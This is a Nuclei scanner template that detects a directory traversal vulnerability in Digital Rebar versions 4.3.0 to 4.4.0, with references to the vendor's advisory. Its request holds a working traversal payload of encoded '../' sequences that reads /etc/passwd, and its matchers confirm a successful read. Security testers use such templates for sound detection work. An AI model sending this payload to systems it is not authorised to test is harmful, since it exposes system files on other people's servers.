id: digitalrebar-traversal

info:
  name: Digital Rebar - Directory traversal
  author: c-sh0
  severity: critical
  description: Web requests can navigate outside of DRP controlled areas - Directory traversal. Affected versions - v4.3.0, v4.3.2, v4.3.3, v4.4.0 (maybe others)
  reference:
    - https://docs.rackn.io/en/latest/doc/security/cve_20200924A.html
    - https://docs.rackn.io/en/latest/doc/release.html
  tags: lfi,rackn,digitalrebar

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:

      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: word
        part: header
        words:
          - 'X-Drp-Sha256sum:'

      - type: status
        status:
          - 200